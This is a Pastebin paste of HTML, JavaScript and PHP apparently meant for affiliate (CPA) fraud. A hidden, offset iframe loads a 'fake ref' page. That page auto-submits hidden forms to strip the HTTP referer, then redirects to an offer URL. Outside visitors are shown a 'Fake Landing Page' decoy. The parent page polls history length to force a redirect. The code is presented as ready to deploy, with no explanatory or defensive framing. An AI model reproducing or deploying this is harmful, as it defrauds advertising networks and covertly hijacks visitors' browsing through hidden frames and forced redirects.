Advertisement
Guest User

code

a guest
Nov 9th, 2011
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.37 KB | None | 0 0
  1. this goes in the head tag on the page that contains the iframe:
  2. <script type='text/javascript'>
  3.  
  4.  
  5. different=1;
  6. base=1;
  7.  
  8. function redirect() {
  9. window.location = "www.abv.bg";
  10. }
  11. function gothere(arg) {
  12. var different = arg;
  13. if (different > base) {
  14. base = different; redirect();
  15. }
  16. setTimeout(function(){gothere(history.length)},100)
  17. }
  18.  
  19. </script>
  20.  
  21. this goes into the body:
  22. <div style='overflow: hidden; width: 355px; height: 124px; position: relative;' id='odiv'>
  23.  
  24. <iframe id='bframe' onload='base=history.length;gothere(history.length);' name='bframe' src='http://bgblognews.info/testiframe/fakeref.php?n=953' style='border: 0pt none ; left: -440px; top: -228px; position: absolute; width: 1501px; height: 805px;' scrolling='no'></iframe></div>
  25.  
  26. this goes on the page that is the fake ref:
  27. <?
  28. $cpa_offer_url = 'http://www.whatismyreferer.com/';
  29. $secret_number = '953';
  30. //you should not be editing below this line
  31.  
  32. if (isset($_GET['n']) && $_GET['n']==$secret_number){
  33.  
  34. echo '<html><head></head><body><form action="' . 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'] . '" method="post" id="form1">
  35.  
  36. <input type="hidden" name="n" value="' . $secret_number . '" /></form>
  37.  
  38. <script language="JavaScript">
  39. document.getElementById(\'form1\').submit();</script></body></html>';
  40. return true;
  41. exit();
  42. }
  43.  
  44. if ($_POST['n']==$secret_number){
  45.  
  46. echo '<html><head></head><body><form action="' . 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'] . '" method="post" id="form1">
  47.  
  48. <input type="hidden" name="n" value="' . $secret_number . $secret_number . '" /></form>
  49.  
  50. <script language="JavaScript">
  51. document.getElementById(\'form1\').submit();</script></body></html>';
  52. return true;
  53. exit();
  54. }
  55. $dom = preg_replace( "/^www\./", "", $_SERVER[ 'HTTP_HOST' ] ) ;
  56. $ref= $_SERVER['HTTP_REFERER'];
  57.  
  58. if (((strpos($ref, $dom)!=FALSE) || (trim($ref)=="" ) ) && ($_POST['n']==$secret_number.$secret_number)){
  59. header( 'Location: ' . $cpa_offer_url);
  60. exit();
  61. }
  62.  
  63. ?><!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
  64. <html xmlns='http://www.w3.org/1999/xhtml'>
  65. <head>
  66. <meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
  67.  
  68. <title>Fake Landing Page Title Goes Here</title>
  69. </head>
  70.  
  71. <body>
  72. Fake Content Goes Here
  73. </body>
  74.  
  75. </html>
  76.  
  77.  
  78.  
  79.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement